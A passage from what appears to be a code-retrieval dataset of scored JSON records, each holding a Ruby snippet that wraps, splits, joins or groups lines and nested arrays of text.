"text": "def wrap array\n return super unless array[0][:linenum] # sanity check\n initialize_wrap array\n @line_wrap.extend SourceLineWrap\n highlight_line = stop = nil\n unconsumed = @arranger.unconsumed\n until stop\n if (first_fragment = unconsumed[0])[:linenum]\n linenum_text = first_fragment[:text]\n linenum_spacer ||= { text: (NoBreakSpace.encode linenum_text.encoding) + (' ' * (linenum_text.length - 1)), linenum: :spacer }\n highlight_line = (second_fragment = unconsumed[1])[:highlight] ? second_fragment.merge : nil\n else # wrapped line\n first_fragment[:text] = first_fragment[:text].lstrip\n @arranger.unconsumed.unshift highlight_line if highlight_line\n @arranger.unconsumed.unshift linenum_spacer.merge\n end\n @line_wrap.wrap_line \\\n document: @document,\n kerning: @kerning,\n width: @width,\n arranger: @arranger,\n disable_wrap_by_char: @disable_wrap_by_char\n if enough_height_for_this_line?\n move_baseline_down\n print_line\n stop = @arranger.finished?\n else\n stop = true\n end\n end\n @text = @printed_lines.join ?\\n\n @everything_printed = @arranger.finished?\n @arranger.unconsumed\n end",
"title": ""
},
{
"docid": "683840702cc7ef7b5925f584398d8976",
"score": "0.5831182",
"text": "def split_and_rejoin(marker=\"\\n\", &block)\n\t\tlines_as_array = self.split(marker)\n\t\t\n\t\t\tblock.call lines_as_array\n\t\t\n\t\toutput = lines_as_array.join(marker)\n\t\t\n\t\treturn output\n\tend",
"title": ""
},
{
"docid": "a3d3c7476ea10234483193e53ab6b209",
"score": "0.5764342",
"text": "def group_blank_separated(lines)\n arr = []\n curr = []\n lines.map(&:chomp).each do |line|\n if line.empty?\n if !curr.empty?\n arr << curr\n curr = []\n end\n else\n curr << line\n end\n end\n arr << curr unless curr.empty?\n arr\nend",
"title": ""
},
{
"docid": "95ce7614ee118903ac240a0b5c46fa48",
"score": "0.57637316",
"text": "def concatenated_lines(src, lines)\n return lines if skip_concatenate?(src, lines)\n result = [lines.first]\n lines.drop(1).each do |line|\n if line_break?(src, result.last, line)\n result.push(line)\n else\n result[-1] = result[-1] + \" #{line}\"\n end\n end\n result\n end",
"title": ""
},
{
"docid": "fb41faa8827d2c097ab95221591ab60f",
"score": "0.5693463",
"text": "def join_nested_strings(src)\n # src will be an Array of Arrays of Strings and Integers\n # Combine all Strings present in the AoA into a single value and return it\n\n row_index = 0 \n clean_data = []\n while row_index < src.count do\n filtered_data = src[row_index].select { |element| element.is_a?(String) }\n clean_data << filtered_data\n \n row_index += 1 \n end\n joined_data = clean_data.join(\" \")\n joined_data\nend",
"title": ""
},
{
"docid": "98190536e9f3eb411cb1b7c6116c08fc",
"score": "0.5651829",
"text": "def combine_lines(input)\n result = \"\"\n\n input.each_line do |s|\n s = s.chomp\n\n if result.length > 0 && result[-1, 1] != \"\\n\"\n\n # Don't do any of this if we just started a new line\n\n if s =~ /^\\s*$/\n # empty line; make this break a paragraph.\n result += \"\\n\\n\"\n elsif s =~ /^\\s*\\*/\n # bullet point\n result += \"\\n\"\n else\n result += \" \"\n end\n end\n\n result += s\n end\n\n result\n end",
"title": ""
},
{
"docid": "98190536e9f3eb411cb1b7c6116c08fc",
"score": "0.5651829",
"text": "def combine_lines(input)\n result = \"\"\n\n input.each_line do |s|\n s = s.chomp\n\n if result.length > 0 && result[-1, 1] != \"\\n\"\n\n # Don't do any of this if we just started a new line\n\n if s =~ /^\\s*$/\n # empty line; make this break a paragraph.\n result += \"\\n\\n\"\n elsif s =~ /^\\s*\\*/\n # bullet point\n result += \"\\n\"\n else\n result += \" \"\n end\n end\n\n result += s\n end\n\n result\n end",
"title": ""
},
{
"docid": "2f8300a59bba0b484aec0c323f845b72",
"score": "0.5642984",
"text": "def basic_wrap_lines(text, line_width, indent = 0)\n to_add = (\" \" * indent)\n my_next_limit = (line_width - indent)\n text.split(\"\\n\").collect do |line|\n if line.length > line_width\n r = line.sub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n\").split(\"\\n\")\n firstline = r.shift\n if r.length > 0\n rest = r.join(\"\\n\")\n if rest.length > my_next_limit\n rest = rest.gsub(/(.{1,#{my_next_limit}})(\\s+|$)/, \"#{to_add}\\\\1\\n\").strip\n end\n a= [firstline, to_add + rest]\n a.join(\"\\n\")\n else\n firstline\n end\n else\n line\n end\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "3bee840b82d648a76952568342156c40",
"score": "0.5627871",
"text": "def grouper (array)\n\tnum_groups = array.length / 3\n\tnew_array = array.each_slice(3)\n\tif new_array[-1].length != 3\n\t\tnew_array[-2].push(new_array[-1])\n\t\tnew_array.chop\n\tend\n\treturn new_array\nend",
"title": ""
},
{
"docid": "0ba64d4e5ef8d1d271884adca81c3c90",
"score": "0.56250656",
"text": "def split_up_lines\n text.split(\"\\n\\n\").each { |string| string.concat(NEW_LINE) }\n end",
"title": ""
},
{
"docid": "d7ecfad98316ac87a39ea3e4cc857c29",
"score": "0.562447",
"text": "def seperateLines(lines, seperator_requirement)\n splitted = []\n section = []\n lines.each do |line|\n section.push(line)\n if seperator_requirement.call(line)\n splitted.push(section)\n section = []\n end\n end\n\n splitted\nend",
"title": ""
},
{
"docid": "d919363892d546a89bb2eb574bcf69b3",
"score": "0.56211483",
"text": "def join_nested_strings(src)\n \n joined_string = \"\"\n row_index = 0 \n \n while row_index < src.count do \n element_index = 0 \n array = src[row_index]\n while element_index < array.count do \n if src[row_index][element_index] == src[row_index][element_index].to_s \n joined_string += src[row_index][element_index]\n joined_string += \" \"\n \n end\n element_index = element_index + 1 \n \n\t\tend\n row_index = row_index + 1\n end\njoined_string\nend",
"title": ""
},
{
"docid": "63ed38e6111521bd555c2c52b13b2705",
"score": "0.5608819",
"text": "def make_line(line_array)\n column_num = 0\n line_array.inject('') do |line, item|\n line += line_item(item, last_line_widths[column_num])\n column_num += 1\n line\n end + '|'\n end",
"title": ""
},
{
"docid": "e1de16f0b0e14cc90f4140ea89d40f08",
"score": "0.5608777",
"text": "def break_lines(lines)\n output = []\n extra_line = []\n lines.each do |line|\n if line.chomp.empty?\n output << ['']\n next\n end\n unless extra_line.empty?\n line = extra_line.join(' ') + ' ' + line\n extra_line.clear\n end\n\n # The words exceeding LINE_WIDTH limit are added to the next line\n if line.chomp.length > @line_width\n words = line.split(' ')\n result_line_1 = []\n result_line_2 = []\n result_count = 0\n words.each do |word|\n result_count += word.length + 1\n if result_count <= (@line_width + 1)\n result_line_1 << word\n elsif result_count > (@line_width + 1) and result_count < @line_width * 2\n result_line_2 << word\n else\n extra_line << word\n end\n end\n output << result_line_1 << result_line_2\n else\n output << line.split(' ')\n end\n end\n p output\n output\n end",
"title": ""
},
{
"docid": "058639c423fba7f4c5bec5fd40b09e2e",
"score": "0.55994064",
"text": "def join_nested_strings(src)\n result = Array.new\n row_index = 0\n answer = \"\"\n while row_index < src.length do\n element_index = 0\n while element_index < src[row_index].length do\n test = src[row_index][element_index]\n if test.is_a?(String)\n result << test\n end\n element_index += 1\n end\n row_index += 1\n end\n# binding.pry\n i = 0\n while i < result.length do\n answer << result[i]\n answer << \" \"\n i += 1\n end\n answer\nend",
"title": ""
},
{
"docid": "94b036cc5e02c21c2aebe43c9f8d5c24",
"score": "0.5575027",
"text": "def arr_to_groups(num)\n arr=%(\"Kim Allen\"\n\"Jenna Andersen\"\n\"Pamela Antonow\"\n\"Jupiter Baudot\"\n\"Ovi Calvo\"\n\"Awilda Cantres\"\n\"Celeste Carter\"\n\"Mike Cerrone\"\n\"Eunice Choi\"\n\"Un Choi\"\n\"Kristie Chow\"\n\"Regina Compton\"\n\"Marcus Davis\"\n\"Paul Etscheit\"\n\"Solomon Fernandez\"\n\"Marcel Galang\"\n\"Aurelio Garcia\"\n\"Hector Jair Moreno Gomez\"\n\"Ricky Binhai Hu\"\n\"Kai Huang\"\n\"Alex Jamar\"\n\"Harmin Jeong\"\n\"Lauren Jin\"\n\"CJ Joulain\"\n\"Michael Landon\"\n\"Richard Leo\"\n\"Julian Lesse\"\n\"Ryan Lesson\"\n\"Ian Lockwood\"\n\"Alison Lyons\"\n\"Christopher Mark\"\n\"Lauren Markzon\"\n\"Miguel Angel Melendez\"\n\"David O'Keefe\"\n\"Nathan Park\"\n\"Landey Patton\"\n\"Farman Pirzada\"\n\"Samuel Frederick Purcell\"\n\"Salim Rahimi\"\n\"Colin Razevich\"\n\"Irina Renteria\"\n\"Jamie Runyan\"\n\"Eric Shou\"\n\"Michael Silberstein\"\n\"Rosslyn Sinclair-Chin\"\n\"Aji Slater\"\n\"Marvy Tagala\"\n\"George Warnbold\"\n\"Shawn Watson\"\n\"Hana Worku\"\n\"Nicholas Yee\").split(/\"\\n\"/)\n\n arr.each_slice(num) { |a| p a}\nend",
"title": ""
},
{
"docid": "98a609b36f4eea495117ad0e1248a6cd",
"score": "0.55326515",
"text": "def group_lines(doc, partition_string)\n partitions = []\n group = []\n doc.each_line do |line|\n if line.include?(partition_string)\n if not group.empty?\n partitions << group\n group = []\n end\n group << line\n else\n if not group.empty?\n group << line\n end\n end\n end\n partitions << group\n return partitions\nend",
"title": ""
},
{
"docid": "4db0896aaba1319d3e1bd73e67b25067",
"score": "0.5491429",
"text": "def a_to_multiline_s(result_array)\n result = \"\"\n result_array.each do |r|\n result << \"#{r.to_s}\\n\"\n end\n\n result\n end",
"title": ""
},
{
"docid": "9c1e5aa181cde1d408c3c8611e44277d",
"score": "0.54625595",
"text": "def explode! \n\t\tbrace_count = 0\n\t\tindex = 0\n\t\toutput = Array.new\n\t\toutput.push(Array.new)\n\t\tcode.each do |current_line| \n\t\t\tif current_line.include? \"{\" then\n\t\t\t\tbrace_count+=1\n\t\t\t\tif brace_count == 1\n\t\t\t\t\tif current_line.strip == \"{\" \n\t\t\t\t\t\ttemp = output[index].pop\n\t\t\t\t\t\toutput.push(Array.new)\n\t\t\t\t\t\tindex+=1\n\t\t\t\t\t\toutput[index].push(temp)\n\t\t\t\t\telse\n\t\t\t\t\t\toutput.push(Array.new)\n\t\t\t\t\t\tindex+=1\n\t\t\t\t\tend\t\t\t\n\t\t\t\tend\n\t\t\tend\t\n\t\t\n\t\t\tif current_line.include? \"}\"\n\t\t\t\tbrace_count -= 1\n\t\t\tend\n\t\t\n\t\t\toutput[index].push(current_line)\n\t\tend\n\t\t@exploded = true\n\t\t@code = output\n\tend",
"title": ""
},
{
"docid": "9c1e5aa181cde1d408c3c8611e44277d",
"score": "0.54625595",
"text": "def explode! \n\t\tbrace_count = 0\n\t\tindex = 0\n\t\toutput = Array.new\n\t\toutput.push(Array.new)\n\t\tcode.each do |current_line| \n\t\t\tif current_line.include? \"{\" then\n\t\t\t\tbrace_count+=1\n\t\t\t\tif brace_count == 1\n\t\t\t\t\tif current_line.strip == \"{\" \n\t\t\t\t\t\ttemp = output[index].pop\n\t\t\t\t\t\toutput.push(Array.new)\n\t\t\t\t\t\tindex+=1\n\t\t\t\t\t\toutput[index].push(temp)\n\t\t\t\t\telse\n\t\t\t\t\t\toutput.push(Array.new)\n\t\t\t\t\t\tindex+=1\n\t\t\t\t\tend\t\t\t\n\t\t\t\tend\n\t\t\tend\t\n\t\t\n\t\t\tif current_line.include? \"}\"\n\t\t\t\tbrace_count -= 1\n\t\t\tend\n\t\t\n\t\t\toutput[index].push(current_line)\n\t\tend\n\t\t@exploded = true\n\t\t@code = output\n\tend",
"title": ""
},
{
"docid": "ca18e072d224075f00a19920ae5e14d8",
"score": "0.54431874",
"text": "def combinator(arr, joiner = \"\")\n arr = arr.map {|item| item.to_a}\n arr.each {|item| return [] if item.size == 0}\n\n size = 0\n arr.each {|item| size = item.size * 2 if item.size * 2 > size}\n arr = arr.map do |str|\n combined = \"\"\n loop do\n combined = combined + str.join(joiner)\n break if combined.size >= size\n end\n combined\n end\n\n output_array = []\n\n (arr.size*2).times {output_array << \"\"}\n \n (arr.size*2).times do |index|\n arr.each do |str|\n output_array[index] << str[index] << joiner\n end\n end\n\n # output_array.map! {|item| item.rstrip}\n\n output_array.sort\nend",
"title": ""
},
{
"docid": "73e76a2914f34b7786f396e49eb215da",
"score": "0.5432249",
"text": "def split(sections)\n docs_blocks, code_blocks = [], []\n sections.each do |docs,code|\n docs_blocks << docs.join(\"\\n\")\n code_blocks << code.map do |line|\n line = line.length == 0 ? \" \" : line\n tabs = line.match(/^(\\t+)/)\n tabs ? line.sub(/^\\t+/, ' ' * tabs.captures[0].length) : line\n end.join(\"\\n\")\n end\n [docs_blocks, code_blocks]\n end",
"title": ""
},
{
"docid": "61f1af465616a71b857ded923448f332",
"score": "0.5426859",
"text": "def split(sections)\n docs_blocks, code_blocks = [], []\n sections.each do |docs,code|\n docs_blocks << docs.join(\"\\n\")\n code_blocks << code.map do |line|\n tabs = line.match(/^(\\t+)/)\n tabs ? line.sub(/^\\t+/, ' ' * tabs.captures[0].length) : line\n end.join(\"\\n\")\n end\n [docs_blocks, code_blocks]\n end",
"title": ""
},
{
"docid": "0a09077a2228d81967fb2ef8bbbd8060",
"score": "0.5409626",
"text": "def grouping; end",
"title": ""
},
{
"docid": "0a09077a2228d81967fb2ef8bbbd8060",
"score": "0.5409626",
"text": "def grouping; end",
"title": ""
},
{
"docid": "9da1df1b15870b0f0effb3ecb8e16925",
"score": "0.54089963",
"text": "def wrap(array) #:nodoc:\n initialize_wrap(array)\n\n stop = false\n until stop\n # wrap before testing if enough height for this line because the\n # height of the highest fragment on this line will be used to\n # determine the line height\n @line_wrap.wrap_line(\n document: @document,\n kerning: @kerning,\n width: available_width,\n arranger: @arranger,\n disable_wrap_by_char: @disable_wrap_by_char\n )\n\n if enough_height_for_this_line?\n move_baseline_down\n print_line\n else\n stop = true\n end\n\n stop ||= @single_line || @arranger.finished?\n end\n @text = @printed_lines.join(\"\\n\")\n @everything_printed = @arranger.finished?\n @arranger.unconsumed\n end",
"title": ""
},
{
"docid": "4d99897fc374ea5e6e21f87ec66f8ebb",
"score": "0.54069084",
"text": "def grouped_lines\n lines.chunk do |line|\n line.in_app? || false\n end\n end",
"title": ""
},
{
"docid": "4d99897fc374ea5e6e21f87ec66f8ebb",
"score": "0.54069084",
"text": "def grouped_lines\n lines.chunk do |line|\n line.in_app? || false\n end\n end",
"title": ""
},
{
"docid": "a93fab85c3f7ef3f1b2a7f0e1392c954",
"score": "0.53791505",
"text": "def group(array)\n yield(array)\nend",
"title": ""
},
{
"docid": "d2b1a286d6e57de11f379527bc1c57e2",
"score": "0.53764284",
"text": "def split(sections)\n docs_blocks, code_blocks = [], []\n sections.each do |docs,code|\n docs_blocks << docs.join(\"\\n\")\n code_blocks << code.map do |line|\n tabs = line.match(/^(\\t+)/)\n tabs ? line.sub(/^\\t+/, ' ' * tabs.captures[0].length) : line\n end.join(\"\\n\")\n end\n\n [docs_blocks, code_blocks]\n end",
"title": ""
},
{
"docid": "b301a720fdf4755ed1d50279cf15ac07",
"score": "0.53705823",
"text": "def split_each_line_into_threes\n self.collection = text.each_line.collect { |line| line.chars.each_slice(3).map(&:join) }\n end",
"title": ""
},
{
"docid": "ca9d2dbb896c6562a33ced908296b040",
"score": "0.5368376",
"text": "def arrange_fragments_by_line fragments, _opts = {}\n arranger = ::Prawn::Text::Formatted::Arranger.new self\n by_line = arranger.consumed = []\n fragments.each do |fragment|\n if (text = fragment[:text]) == LF || !(text.include? LF)\n by_line << fragment\n else\n text.scan LineScanRx do |line|\n by_line << (line == LF ? { text: LF } : (fragment.merge text: line))\n end\n end\n end\n arranger\n end",
"title": ""
},
{
"docid": "6dfd411746a799ce4e378fdea69f08d3",
"score": "0.5350838",
"text": "def wrap_lines(name, folded_lines); end",
"title": ""
},
{
"docid": "fd13e45722b6c5556e2dc3adc35ca9b8",
"score": "0.5350254",
"text": "def join_lines\n @file = @file.join\n end",
"title": ""
},
{
"docid": "6e18239aad34d78b821a717e211f159b",
"score": "0.5349478",
"text": "def line_join(type)\n [type.value]\n end",
"title": ""
},
{
"docid": "c32736dba3e27c65d96d6da14d17c726",
"score": "0.5348247",
"text": "def join_nested_strings(src)\n row_index = 0\n nested_strings = []\n while row_index < src.count do\n inner_index = 0\n while inner_index < src[row_index].count do\n if src[row_index][inner_index].class == String\n nested_strings << src[row_index][inner_index]\n end\n inner_index += 1\n end\n row_index += 1\n end\n nested_strings.join(\" \")\nend",
"title": ""
},
{
"docid": "1c49ffd95e47d780c23a2ba9bc5ac152",
"score": "0.5326265",
"text": "def multiline_reconstruction(meta_array, chains)\n\n\t\tn = meta_array.size;\n\n\t\tindexes = [0]*n;\n\n\t\t@prev_tokens ||= [];\n\n\t\tres_strings = meta_array.map{|meta| meta.first == nil ? \"\" : meta.first.value;}\n\t\tmeta_array.each_with_index{|meta, i| @prev_tokens[i] ||= meta.first;}\n\n\t\t\n\t\treconstruct_line_to = lambda do |line_index, end_index|\n\t\t\twhile indexes[line_index] != end_index do\n\t\t\t\tt_token = meta_array[line_index].value[indexes[line_index]]\n\t\t\t\tbegin\n\t\t\t\tif t_token.class == Token then\n\t\t\t\t\tmin_spaces = @sc.get_min(@prev_tokens[line_index], t_token)\n\t\t\t\t\tif @Debug then\n\t\t\t\t\t\tp \"from \", @prev_tokens[line_index].type\n\t\t\t\t\t\tp \"to\", t_token.type\n\t\t\t\t\t\tp min_spaces\n\t\t\t\t\tend\n\t\t\t\t\tres_strings[line_index] += \" \"*min_spaces;\n\t\t\t\t\tres_strings[line_index] += t_token.value;\n\t\t\t\t\t@prev_tokens[line_index] = t_token;\n\t\t\t\telse\n\t\t\t\t\tmin_spaces = @sc.get_min(@prev_tokens[line_index], t_token.get_first_token)\n\t\t\t\t\tif @Debug then\n\t\t\t\t\t\tp \"from \", @prev_tokens[line_index].type\n\t\t\t\t\t\tp \"to\", t_token.get_first_token.type\n\t\t\t\t\t\tp min_spaces\n\t\t\t\t\tend\n\t\t\t\t\tres_strings[line_index] += \" \"*min_spaces;\n\t\t\t\t\tres_strings[line_index] += get_string_from_meta(t_token);\n\t\t\t\t\t@prev_tokens[line_index] = t_token.get_last_token;\n\t\t\t\tend\n\t\t\t\trescue Exception => e\n\t\t\t\t\tp e\n\t\t\t\t\tp e.backtrace\n\t\t\t\t\tp \"Exceprion: \"\n\t\t\t\t\tp \"line_index: \" + line_index.to_s\n\t\t\t\t\tp \"token_index: \" + indexes[line_index].to_s\n\t\t\t\t\tp \"end_index: \" + end_index.to_s\n\t\t\t\t\tp \"metas: \" + meta_array[line_index].value.to_s\n\n\t\t\t\t\texit();\n\t\t\t\tend\n\t\t\t\tindexes[line_index] += 1;\n\t\t\tend\n\t\tend\n\t\t# chain processing\n\n\t\tchains.each do |chain|\n\n\t\t\tbegin_line = chain[0];\n\t\t\tend_line = begin_line + chain[1].size\n\n\t\t\tline_index = chain[0];\n\n\t\t\t#byebug\n\n\t\t\tchain[1].each do |pair|\n\t\t\t\treconstruct_line_to.call(line_index, pair[0])\n\t\t\t\tline_index += 1;\n\t\t\t\treconstruct_line_to.call(line_index, pair[1])\n\t\t\tend\n\t\t\t\n\t\t\t#debugger\n\t\t\t# TODO some fix here \n\t\t\tif chain.size <= 2\n\t\t\t\tfor i in begin_line..end_line do\n\t\t\t\t\tmin_spaces = @sc.get_min(@prev_tokens[i], meta_array[i].value[indexes[i]])\n\t\t\t\t\tres_strings[i] += \" \"*min_spaces\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t# delta calculation here\n\t\t\tmax_size = 0;\n\t\t\tfor i in begin_line..end_line do\n\t\t\t\tmax_size = [max_size, res_strings[i].size].max;\n\t\t\tend\n\t\t\tdelta = {}\n\t\t\tfor i in begin_line..end_line do\n\t\t\t\tdelta[i] = max_size - res_strings[i].size\n\t\t\tend\n\n\n\t\t\t# limitations here\n\t\t\tfor i in begin_line..end_line do\n\t\t\t\taccept = true;\n\n\t\t\t\tif delta[i] > 0 then\n\t\t\t\t\tt1 = @prev_tokens[i]\n\t\t\t\t\tt2 = meta_array[i].value[indexes[i]];\n\t\t\t\t\tif t2.class == MetaExpression\n\t\t\t\t\t\tt2 = t2.get_first_token\n\t\t\t\t\tend\n\t\t\t\t\tparams = [];\n\t\t\t\t\tparams.push(t2.str_index);\n\t\t\t\t\tlimit = @sc.get_max(t1, t2, params);\n\t\t\t\t\taccept = delta[i] < limit;\n\t\t\t\t\tif @Debug & false then\n\t\t\t\t\t\tp \"prev: \" + t1.type .to_s;\n\t\t\t\t\t\tp \"next: \" + t2.type .to_s;\n\t\t\t\t\t\tp \"delta:\" + delta[i].to_s;\n\t\t\t\t\t\tp \"max: \" + limit .to_s;\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tres_strings[i] += \" \"*delta[i] if accept;\n\t\t\tend\n\n\t\t\tif chain.size > 2\n\t\t\t\t# recursivity\n\n\t\t\t\tmetas = n.times.map{MetaExpression.new};\n\t\t\t\tfor i in begin_line..end_line do\n\t\t\t\t\tmetas[i] = meta_array[i].value[indexes[i]]\n\t\t\t\tend\n\t\t\t\tstrings = multiline_reconstruction(metas, chain[2])\n\n\t\t\t\tfor i in begin_line..end_line do\n\t\t\t\t\tres_strings[i] += strings[i];\n\t\t\t\t\tindexes[i] += 1;\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tfor i in begin_line..end_line do\n\t\t\t\t\tres_strings[i] += meta_array[i].value[indexes[i]].value\n\t\t\t\t\t@prev_tokens[i] = meta_array[i].value[indexes[i]]\n\t\t\t\t\tindexes[i] += 1;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tfor i in 0..n-1 do\n\t\t\treconstruct_line_to.call(i, meta_array[i].value.size)\n\t\tend\n\t\treturn res_strings\n\tend",
"title": ""
},
{
"docid": "3563e6730720dea114ce6c5df23b38b3",
"score": "0.53257096",
"text": "def result\n strings = @groups.map {|x| x.result}\n result = combine(strings)\n result.each {|x| x.add_filled_group(@group_num, x)}\n result\n end",
"title": ""
},
{
"docid": "0ccfeaf0673d98c229ca555757577251",
"score": "0.5321172",
"text": "def fill_multi(line, array)\n # Compute the line names\n line_names = [ line, *(2..array.count).map { |x| \"#{line}##{x}\" } ]\n\n #\n # If the last line has a position, then fill all the lines.\n #\n last_line = @pos_form.line(line_names.last)\n if last_line && last_line.positioned?\n line_names.zip(array).each do |l, v|\n fill_line(@pos_form.line(l), v)\n end\n return\n end\n\n # A continuation sheet is needed at this point.\n first_line = @pos_form.line(line)\n unless first_line.positioned?\n warn(\"Line #{first_line.name} has no position data\")\n return\n end\n\n #\n # Determine whether to suppress the continuation sheet message. First,\n # construct the options for this line. :prefix is the portion of the line\n # name up to the first numeric portion; :pos is the lower left corner of\n # where this line will go.\n options = {\n :prefix => line =~ /^\\D*\\d+/ ? $& : line,\n :pos_x => first_line.lower_left.first,\n :pos_y => first_line.lower_left.last,\n }\n # We look through the existing continuation lines to see if any of them\n # match this one, in the sense that they have the same prefix and are\n # vertically or horizontally aligned. If so, then append this line's data\n # onto the matching continuation and return.\n @continuation_lines.each do |c_options, c_lines|\n next unless c_options[:prefix] == options[:prefix]\n next if (c_options[:pos_x] - options[:pos_x]).abs > 10 and\n (c_options[:pos_y] - options[:pos_y]).abs > 10\n c_lines.push([ line, array ])\n return\n end\n # If no match is found, add a new entry to @continuation lines and fill this\n # line with the continuation message.\n @continuation_lines.push([ options, [ [ line, array ] ] ])\n fill_line(first_line, \"See continuation sheet\")\n end",
"title": ""
},
{
"docid": "0a5e5ae337aa27e5cbfa6c92cc2b4f02",
"score": "0.53200704",
"text": "def outdent\n lines = split(\"\\n\")\n head = lines.map { |line| line[/\\A(\\s*)[^\\s]/, 1] }.compact.min\n tail = self[/\\n*\\Z/]\n dented = lines.map { |line| line.sub(/\\A#{head}/, '') }\n dented.join(\"\\n\") + tail\n end",
"title": ""
},
{
"docid": "e8b5d4857d713304f5dadc6ed99db0fd",
"score": "0.53159505",
"text": "def join(lines)\n # if bundle.minify?\n # options = {\n # :preserveComments => false,\n # :preserveNewlines => false,\n # :preserveSpaces => true,\n # :preserveColors => false,\n # :skipMisc => false\n # }\n # SproutCore::CSSPacker.new.compress(lines.join, options)\n # else\n lines.join\n # end\n end",
"title": ""
},
{
"docid": "e9258adde563fdb7f450e669619e5cc3",
"score": "0.5296056",
"text": "def format_collection_to_numbers\n collection.map! do |group|\n group.each do |item|\n item.replace(NEW_LINE) if item == ' '\n item[-1] = NEW_LINE if item[-1].blank?\n item << NEW_LINE unless item[-1] == NEW_LINE\n end\n .join\n end\n end",
"title": ""
},
{
"docid": "f6f2abc2430f179d185f6c91b8f736dc",
"score": "0.5294917",
"text": "def line(array) # this was the one I figured out\n if array.length >= 1\n new_array = []\n counter = 1\n array.each do |name|\n new_array << \"#{counter}. #{name}\"\n counter += 1\n end #Is there a way to make the above code smaller\n puts \"The line is currently: #{new_array.join(\" \")}\"\n else\n puts \"The line is currently empty.\"\n end\nend",
"title": ""
},
{
"docid": "71aff78224e1956dd0cdbb077f413853",
"score": "0.5294877",
"text": "def render_lines\n \n total_lines = section.line_count\n line_lengths = section.line_lengths\n \n output_lines = text_tree.map { |line| line.clone }\n \n # pad new lines to match the number of chord progressions\n until output_lines.length >= total_lines\n output_lines << ''\n end\n \n output_lines.length.times do |n|\n next unless line_lengths[n]\n \n # fill line to match the number of chord changes\n until output_lines[n].length >= line_lengths[n]+1\n output_lines[n] << ''\n end\n \n end\n \n output_lines\n \n end",
"title": ""
},
{
"docid": "25c0df3175d9b71d4268e353a6ace489",
"score": "0.5281646",
"text": "def group(&blk)\n separator = (options[:one_column]) ? \"\\n\" : \" \"\n begin\n blk.call(agent_group(target.first).join(separator))\n rescue RuntimeError => e\n blk.call(e.message)\n end\n end",
"title": ""
},
{
"docid": "7576011a42025c4c2b28325547b36b0a",
"score": "0.52382094",
"text": "def print_array_elements_per_line array\n array.join \"\\n\"\n end",
"title": ""
},
{
"docid": "7576011a42025c4c2b28325547b36b0a",
"score": "0.52382094",
"text": "def print_array_elements_per_line array\n array.join \"\\n\"\n end",
"title": ""
},
{
"docid": "e38a7f7edc3ef1fbb8a3c12a8a487d89",
"score": "0.5236555",
"text": "def to_s\n out = stream.scan(/.{1,#{line_length}}/).map do |line|\n @line = line\n next if skippable_line?\n\n if blank_line?\n if first_skip\n @first_skip = false\n self.class.group_by(line, by: word_size)\n else\n @hiding_output = true\n '*'\n end\n else\n @hiding_output = false\n @first_skip = true\n self.class.group_by(line, by: word_size)\n end\n end\n out.compact.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "50bc4ba00fc86550e89e2b3163e33d45",
"score": "0.52075434",
"text": "def collapse_multi_line_statements(code)\n operations = [\n ' &&' , ' and',\n ' !' , ' not',\n ' ||' , ' or',\n ' *' ,\n ' +' ,\n ' -' ,\n ' /' ,\n ' ,' ,\n ' ==' ,\n ' =' ,\n ]\n\n collapsed_form = \"\"\n line_buffer = \"\"\n open_curly_brackets = 0\n open_square_brackets = 0\n code.lines.map(&:strip).each do |line|\n\n line_buffer << ' ' + line\n\n # Count the number of opening and closing brackets on this line and apply\n # the difference to the current tally.\n open_curly_brackets += line.count('(') - line.count(')')\n open_square_brackets += line.count('[') - line.count(']')\n\n # If all brackets have been closed, and this line doesn't end with an\n # unfinished operation, then add the line to the collapsed form and clear\n # the buffer.\n if open_curly_brackets == 0 &&\n open_square_brackets == 0 &&\n !line.end_with?(*operations)\n collapsed_form << \"\\n\" unless collapsed_form.empty?\n collapsed_form << line_buffer\n line_buffer.clear\n end\n\n end\n\n return collapsed_form\n end",
"title": ""
},
{
"docid": "eaa207ef19bfb9aeaacf60507baaed4c",
"score": "0.5201565",
"text": "def make_list_of_blocks_textile(list_of_lines)\n list_of_lines.each do |block_lines|\n block_lines.each do |line|\n line = make_composer_test_textile line \n puts line if line.length\n end\n end\nend",
"title": ""
},
{
"docid": "5d255422b86309ccf7778089d7c7260c",
"score": "0.5189036",
"text": "def join_trailing_slash!\n trailing_groups = @document.select(&:trailing_slash?).map do |code_line|\n take_while_including(code_line.index..-1) { |x| x.trailing_slash? }\n end\n join_groups(trailing_groups)\n self\n end",
"title": ""
},
{
"docid": "e85793cd3b2bf0a1d046fd15b1d38d46",
"score": "0.5185607",
"text": "def ordered_groups\n output = Array.new\n set_group = proc{|title, fields|\n output.push({title: title, fields: fields})\n }\n return nil unless @control\n if @control[:um]\n set_group.call(\"Unique Mandatory\", @structured_data.dig(:unique, :mandatory))\n end\n if @control.dig(:rm, 0)\n set_group.call(\"Repeated Mandatory (Leg 1)\", @structured_data.dig(:repeated, 0, :mandatory))\n end\n if @control[:uc]\n set_group.call(\"Unique Conditional\", @structured_data.dig(:unique, :conditional))\n end\n if @control.dig(:rc, 0)\n set_group.call(\"Repeated Conditional (Leg 1)\", @structured_data.dig(:repeated, 0, :conditional))\n end\n if @control.dig(:ra, 0)\n set_group.call(\"Repeated Airline Use (Leg 1)\", @structured_data.dig(:repeated, 0, :airline))\n end\n if @control[:legs] && @control[:legs] > 1\n (1..@control[:legs]-1).each do |leg|\n if @control.dig(:rm, leg)\n set_group.call(\"Repeated Mandatory (Leg #{leg+1})\", @structured_data.dig(:repeated, leg, :mandatory))\n end\n if @control.dig(:rc, leg)\n set_group.call(\"Repeated Conditional (Leg #{leg+1})\", @structured_data.dig(:repeated, leg, :conditional))\n end\n if @control.dig(:ra, leg)\n set_group.call(\"Repeated Airline Use (Leg #{leg+1})\", @structured_data.dig(:repeated, leg, :airline))\n end\n end\n end\n if @control[:security]\n set_group.call(\"Security\", @structured_data.dig(:unique, :security))\n end\n if @control[:unknown]\n set_group.call(\"Unknown\", @structured_data[:unknown])\n end\n \n # Check that raw data presence and order in output matches raw input\n if output.map{|g| g[:fields].map{|k,v| v[:raw]}}.join == @raw_data\n return output\n else\n raw_output = Array.new\n raw_output.push({title: \"Raw Data\", fields: {0 => {description: \"Raw\", raw: @raw_data, interpretation: \"Something went wrong and we couldn’t parse this 